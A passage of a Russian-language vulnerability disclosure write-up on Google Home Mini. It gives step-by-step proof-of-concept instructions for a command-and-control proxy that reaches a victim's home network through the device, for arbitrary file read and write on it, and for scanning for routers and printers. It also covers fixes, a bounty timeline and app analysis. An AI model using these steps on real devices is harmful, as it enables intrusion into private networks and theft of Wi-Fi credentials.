c2.py
— это сервер команд и управления (C&C). app.js
и index.html
— локальное домашнее приложение.- Конфигурируем и запускаем сервер C&C:
- Устанавливаем необходимое:
pip3 install mitmproxy websockets
- Запускаем сервер:
mitmdump --listen-port 8000 --set upstream_cert=false --ssl-insecure -s c2.py
- При стандартной конфигурации сервер запускается в
localhost:8000
, а WebSocket-сервер — на0.0.0.0:9000
. Прокси-сервер используется как узел, направляющий запросы от программ на компьютере (например,curl
) на Google Home жертвы через WebSocket. В реальной атаке порт WebSocket должен быть открыт в Интернет, чтобы к нему могло подключиться устройство Google Home жертвы, но для локальной демонстрации это необязательно.
- При стандартной конфигурации сервер запускается в
- Устанавливаем необходимое:
- Конфигурируем локальное домашнее приложение:
- Меняем переменную
C2_WS_URL
в началеapp.js
на WebSocket URL нашего сервера C&C. У Google Home должен быть к нему доступ. - Хостим статические файлы
index.html
иapp.js
в месте, доступ к которому есть у Google Home. Для локальной демонстрации можно развернуть простой сервер хостинга файлов командойpython3 -m http.server
.
- Меняем переменную
- Развёртываем локальное домашнее приложение в своём аккаунте:
- Создаём в своём аккаунте пример приложения по этим инструкциям.
- Добавляем фальшивое устройство:
npm run firebase --prefix functions/ -- functions:config:set \ strand1.leds=16 strand1.channel=1 \ strand1.control_protocol=HTTP npm run deploy --prefix functions/
- Это заставляет cloud fulfillment включить в ответы на запросы
SYNC
полеotherDeviceIds
. Насколько я понял, этого достаточно для активации локального fulfillment; конкретные ID устройств или атрибуты не важны.
- Это заставляет cloud fulfillment включить в ответы на запросы
- В консоли переходим в Develop -> Actions -> Configure local home SDK, и присваиваем «testing URL for Chrome» значение URL
index.html
. Для локальной демонстрации это может быть приватный IP, но к нему должен быть доступ у Google Home. - Добавляем следующие конфигурации сканирования mDNS:
- Имя сервиса MDNS:
_googlecast._tcp.local
- Имя сервиса MDNS:
_googlezone._tcp.local
- Имя сервиса MDNS:
_googlerpc._tcp.local
- Имя сервиса MDNS:
- Открываем параметры Google Assistant в своём телефоне и выбираем «Home Control», а затем знак "+". Выбираем приложение с префиксом
[test]
, чтобы привязать его.
- Попадаем в пределы действия беспроводной сети Google Home жертвы, затем переводим его в режим настройки и привязываем свой аккаунт при помощи скрипта
link_device.py
из Proof of concept 1. - Перезапускаем устройство:
- Всё ещё имея подключение к сети настройки устройства, отправляем POST-запрос к конечной точке
/reboot
с телом{"params":"now"}
и заголовкомcast-local-authorization-token
, полученным при помощиHomeGraphAPI.get_local_auth_tokens()
отgoogleapi.py
. - Для локальной демонстрации можно просто отключить Google Home от питания, а потом снова подключить.
- Всё ещё имея подключение к сети настройки устройства, отправляем POST-запрос к конечной точке
- Вскоре после перезагрузки Google Home автоматически скачает наше локальное домашнее приложение и исполнит его.
- Приложение ждёт запроса
IDENTIFY
, которое оно получает, когда Google Home находит себя при помощи mDNS-сканирования, а затем подключается к Chrome DevTools Protocol WebSocket на порту 9222. Подключившись к CDP, оно открывает WebSocket нашему серверу C&C и ждёт команд. Если оно отключится от CDP или от сервера C&C, то каждые 5 секунд автоматически пытается подключиться повторно. - Похоже, после загрузки оно работает неограниченно по времени. В документации говорится, что приложения могут завершаться, если потребляют слишком много памяти, но я с таким не сталкивался, хотя и оставлял приложение работающим всю ночь. В случае перезапуска Google Home приложение загружается заново.
- Приложение ждёт запроса
Теперь мы можем отправлять HTTP(S)-запросы к приватной локальной сети жертвы, как будто у нас есть пароль от WiFi, (хотя его пока нет), сконфигурировав программу на своём компьютере так, чтобы она перенаправляла трафик через локальный прокси-сервер, который, в свою очередь, перенаправляет его в Google Home. Например,
curl --proxy 'localhost:8000' --insecure -v https://localhost:8443/setup/eureka_info
возвращает информацию Google Home, потому что через прокси localhost
резолвится в IP-адрес Google Home. JSON-ответ на /setup/eureka_info
содержит IP-адрес, что полезно для определения структуры локальной сети.Мне даже удалось при помощи
chrome --proxy-server='localhost:8000' --ignore-certificate-errors --user-data-dir='SOME_DIR'
перенаправить Chrome через прокси, и всё работало на удивление хорошо.Очевидно, что возможность отправки запросов в приватной локальной сети открывает большую поверхность атак. При помощи IP-адреса Google Home можно определить подсеть, в которой находятся другие устройства жертвы. Например, моё устройство Google Home имеет IP-адрес
192.168.86.132
, поэтому я могу предположить, что другие устройства находятся в диапазоне от 192.168.86.0
до 192.168.86.255
. Можно написать простой скрипт для проверки при помощи cURL
всех возможных адресов в поисках устройства в локальной сети, которое можно атаковать или с которого можно украсть данные. Так как на проверку каждого IP-адреса тратится всего несколько секунд, проверить все можно примерно за десять минут. В своей локальной сети я нашёл веб-интерфейс принтера по адресу http://192.168.86.33
. На его странице сетевых настроек есть <input type="password">
, в котором обычным текстом указан пароль к моему WiFi. Также интерфейс предоставляет механизм обновления прошивки, который, как мне кажется, может быть уязвим для атаки.Также можно поискать маршрутизатор жертвы и попробовать атаковать его. IP-адрес моего роутера
192.168.1.254
находится в первых результатах поиска в Google «default router IPs». Можно написать скрипт, чтобы проверить их. Интерфейс конфигурации маршрутизатора тоже мгновенно возвращает пароль к моему Wi-Fi обычным текстом. К счастью, я поменял стандартный пароль администратора, поэтому нападающий с доступом хотя бы не сможет поменять настройки, однако большинство людей не меняет пароль и его можно найти по запросу "[название бренда] router password", а затем поменять DNS-сервер на собственный, устанавливать зловредные обновления прошивки и так далее. Даже если жертва поменяет пароль маршрутизатора, он всё равно может остаться уязвимым. Например, в июне 2020 года исследователь обнаружил в 79 моделях маршрутизаторов Netgear уязвимость переполнения буфера, которая привела к root shell; процесс он описал как «простой».Proof of concept 3: считывание/запись произвольных файлов в устройстве
Также я обнаружил способ считывания/записи произвольных записей в привязанном устройстве при помощи методов
DOM.setFileInputFiles
и Page.setDownloadBehavior
протокола Chrome DevTools Protocol.В описанном ниже воссоздании мы сначала записываем файл
/tmp/example_file.txt
, а затем считываем его, чтобы убедиться, что это сработало.- Включаем удалённую отладку в Google Home:
- Выполняем эти инструкции, используя привязанный к устройству аккаунт Google.
- Устанавливаем необходимое:
npm install ws pip install flask
- Создаём
example_file.txt
, например,echo 'test' > example_file.txt
- Запускаем
python3 write_server.py example_file.txt
. Также можно изменить переменныеHOST
илиPORT
в начале скрипта. Получаем URL сервера, например,http://[IP-адрес]:[порт]
. У Google Home должен быть к нему доступ. - Выполняем
node write.js [IP-адрес Google Home] [URL сервера записи] /tmp
, вставив соответствующие значения. IP-адрес Google Home можно получить из приложения Google Home. Файл будет записан в/tmp/example_file.txt
. - Выполняем
python3 read_server.py
. Хост и порт можно изменить так же, как и выше. - Выполняем
node read.js [IP-адрес Google Home] [URL сервера считывания]
. При запросе пути к файлу для чтения вводим/tmp/example_file.txt
. - Убеждаемся, что
example_file.txt
сдамплен с устройства вdumped_files/example_file.txt
Так как мы не можем исследовать файловую систему Google Home (и в
<input type="file" webkitdirectory>
нельзя загружать папки вместо файлов), то не совсем понятно, какое влияние это окажет. Мне удалось найти какую-то информацию о структуре файловой системы из информации «open source licenses» и из доклада на DEFCON по Google Home. Я сдампил несколько двоичных файлов, например, /system/chrome/cast_shell
и /system/chrome/lib/libassistant.so
, а затем пропустил их через strings
в поисках интересных файлов, которые можно украсть или повредить. Возможно, в /data/chrome/chirp/assistant/cookie
, возможно, содержится информация о пользователе? /data/chrome/chirp/assistant/settings
и /data/chrome/chirp/assistant/phenotype_package_store
содержат GAIA ID аккаунтов, привязанных к моему Google Home. Мне удалось сдампить /data/chrome/chirp/assistant/nightmode/nightmode_params
, отредактировать его в шестнадцатеричном редакторе и перезаписать оригинал моей модифицированной версией. После перезапуска изменения применились. Получается, если в парсере файла конфигурации обнаружится баг, то, вероятно, потенциально это может привести к RCE?Исправления
Мне известно, что Google реализовала следующие исправления:
- Чтобы привязать свой аккаунт к устройству, нужно запросить приглашение в «Home», в котором зарегистрировано устройство, при помощи
/deviceuserlinksbatch
API. Если вы не добавлены в Home, но пытаетесь привязать аккаунт таким образом, то получите ошибкуPERMISSION_DENIED
. - Команды «Call [номер телефона]» нельзя удалённо инициировать через routine.
Всё равно можно деаутентифицировать Google Home и получить доступ к информации об устройстве через конечную точку
/setup/eureka_info
, но вы больше не сможете использовать её для привязки аккаунта и получить доступ к остальному локальному API, потому что нельзя получить локальный токен аутентификации.В устройствах с дисплеем (например, Google Nest Hub) сеть настройки защищена паролем WPA2, отображаемым в виде QR-кода на дисплее (который нужно сканировать приложением Google Home), что добавляет ещё один уровень защиты.
Кроме того, на этих устройствах можно сказать «add my voice», чтобы открылся экран с кодом привязки, предлагающий посетить https://g.co/nest/voice. Через этот веб-сайт можно привязать аккаунт к устройству, даже если он не добавлен к его Home (и это нормально, потому что для этого всё равно требуется физический доступ к устройству). Похоже, команда «add my voice» не работает в Google Home Mini. Вероятно, потому что у него нет дисплея, позволяющего предоставить код привязки. Думаю, если бы Google хотела реализовать это, то можно было бы произносить код привязки вслух или передавать его текстом на указанный номер телефона.
Размышления и выводы
Архитектура Google Home основана на Chromecast. Chromecast не делает такого упора на защиту от атак по принципу близости к устройству, потому что в нём они по большей мере не нужны. Что плохого может случиться, если кто-то взломает Chromecast? Запустит воспроизведение порно? Однако Google Home гораздо более критичное для безопасности устройство, ведь оно может управлять другими устройствами умного дома и микрофоном. Если бы архитектура Google Home создавалась с нуля, то, наверное, таких проблем бы вообще не возникло.
С момента выпуска в ноябре 2016 года первого устройства Google Home компания Google продолжала добавлять новые функции в облачные API устройства, например, routine по расписанию (июль 2018 года) и Local Home SDK (апрель 2020 года). Наверное, разрабатывавшие эти функции инженеры предполагали, что процесс привязки аккаунтов защищён.
До меня Google Home изучало множество других исследователей безопасности, но каким-то образом никто из них не заметил эти кажущиеся для меня очевидными проблемы. Вероятно, в основном они изучали конечные точки, раскрываемые локальным API, и возможности, предоставляемые ими нападающему. Однако эти конечные точки позволяют настраивать простейшие параметры устройства, но ничего сверх того. Хотя в ретроспективе обнаруженные мной проблемы могут показаться очевидными, наверно, на самом деле они были довольно незаметными. Вместо того, чтобы отправлять запрос к локальному API для управления устройством, мы выполняем запрос к локальному API для получения невинно выглядящей информации об устройстве и используем эту информацию с облачными API для управления устройством.
Как говорилось в докладе на DEFCON, низкоуровневая безопасность устройства в общем случае достаточно хороша, а переполнения буфера и схожие уязвимости найти очень сложно. Обнаруженные мной проблемы таятся на высоком уровне.
Выражаю огромную благодарность Google за невероятно щедрое вознаграждение!
Хронология раскрытия
- 01/08/2021: отправлен отчёт
- 01/10/2021: отчёт рассмотрен
- 01/20/2021: закрыт (предусмотренное поведение)
- Я был занят учёбой и довольно долго не отвечал
- 03/11/2021: отправил дополнительные подробности и proof of concept
- 03/19/2021: заново открыт
- 04/07/2021: отправил дополнительные подробности
- 04/20/2021: получена награда
- 04/05/2022: Google объявила об увеличении вознаграждения за нахождение проблем в устройствах Google Nest и Fitbit
- 05/04/2022: получено дополнительное вознаграждение
Предыдущие исследования
Вот несколько заинтересовавших меня статей, которые я нашёл во время своего исследования устройств Google Home:
- Июль 2014 года: взлом Chromecast «RickMote»
- Август 2014 года: обход безопасного запуска Chromecast (требует физического доступа)
- Январь 2018 года: неофициальная документация по локальному API Google Home
- Июнь 2018 года: атака перепривязки DNS позволяет любому веб-сайту получать доступ к локальному API
- октябрь 2018 года: Google заявила, что «нет никаких свидетельств угрозы информации пользователей» в контексте Home Hub
- Январь 2019 года: CastHack
- Июнь 2019 года: локальный API теперь требует токена аутентификации
- Август 2019 года: доклад на DEFCON по Google Home
- Ноябрь 2019 года: атака «Light Commands»
- Июль 2020 года: обход защищённого запуска Google Home Mini (требует физического доступа)
Дополнение: статический анализ приложения Google Home
Во время своих исследований я глубже покопался в приложении Google Home. В нём я не нашёл никаких проблем безопасности, однако узнал кое-что о локальном API, чего пока нет в неофициальной документации.
Конечная точка show_led
Чтобы найти список конечных точек локального API (а потенциально и незадокументированные точки), я поискал в декомпилированном исходном коде известную конечную точку (
get_app_device_id
):Необходимая мне информация находилась в
defpackage/ufo.java
:SHOW_LED
показалась мне интересной, и её не было в официальной документации. Поиск места, где используется эта константа, привёл меня к StereoPairCreationActivity
:При помощи потрясающей функции JADX «rename symbol», переименовав несколько методов, я смог найти класс, отвечающий за создание полезной JSON-нагрузки для этой конечной точки:
Похоже, что полезная нагрузка состоит из целочисленного
animation_id
. Мы можем отправить его конечной точке так:$ curl --insecure -X POST -H 'cast-local-authorization-token: [token]' -H 'Content-Type: application/json' -d '{"animation_id":2}' https://[IP-адрес Google Home]:8443/setup/assistant/show_led
Это заставит светодиоды воспроизводить анимацию медленной пульсации. К сожалению, похоже, есть только две анимации:
1
(сброс светодиодов в обычное состояние) и 2
(непрерывная пульсация). Что ж, ладно.Шифрование пароля от Wi-Fi
Также мне удалось найти алгоритм, используемый для шифрования пользовательского пароля от Wi-Fi перед его отправкой через конечную точку
/setup/connect_wifi
. Учитывая, что используется HTTPS, это шифрование кажется избыточным, но я думаю, что изначально оно предназначалось для защиты от атак MITM, раскрывающих пароль от Wi-Fi. Как бы то ни было, мы видим, что пароль зашифрован при помощи RSA PKCS1 и публичного ключа устройства (из /setup/eureka_info
):Дополнение: атаки деаутентификации на Google Home Mini
Выше я говорил, что Google Home Mini не поддерживает ни WPA3, ни 802.11w. Мне хотелось бы пояснить, как я это обнаружил.
Так как мой маршрутизатор их не поддерживает, я позаимствовал у друга маршрутизатор с OpenWrt (открытой операционной системой для маршрутизаторов), поддерживающей 802.11w и WPA3.
Есть три режима 802.11w на выбор: disabled (default), optional и required. («Optional» означает, что он используется только для поддерживающих его устройств.) Когда я использовал «required», моё устройство Google Home Mini не могло подключиться, а у Pixel 5 (Android 12) и MacBook Pro (macOS 12.4) никаких проблем не было. Те же самые результаты получены при включенном WPA3. Я попробовал «optional», и Google Home Mini подключилось, но всё равно было уязвимо к атакам деаутентификации (как и ожидалось).
Я протестировал это на последней на момент написания статьи версии прошивки (1.56.309385, август 2022 года) на первом поколении оборудования (кодовое имя
mushroom
). Предполагаю, что это ограничение чипа Wi-Fi, а не программная проблема.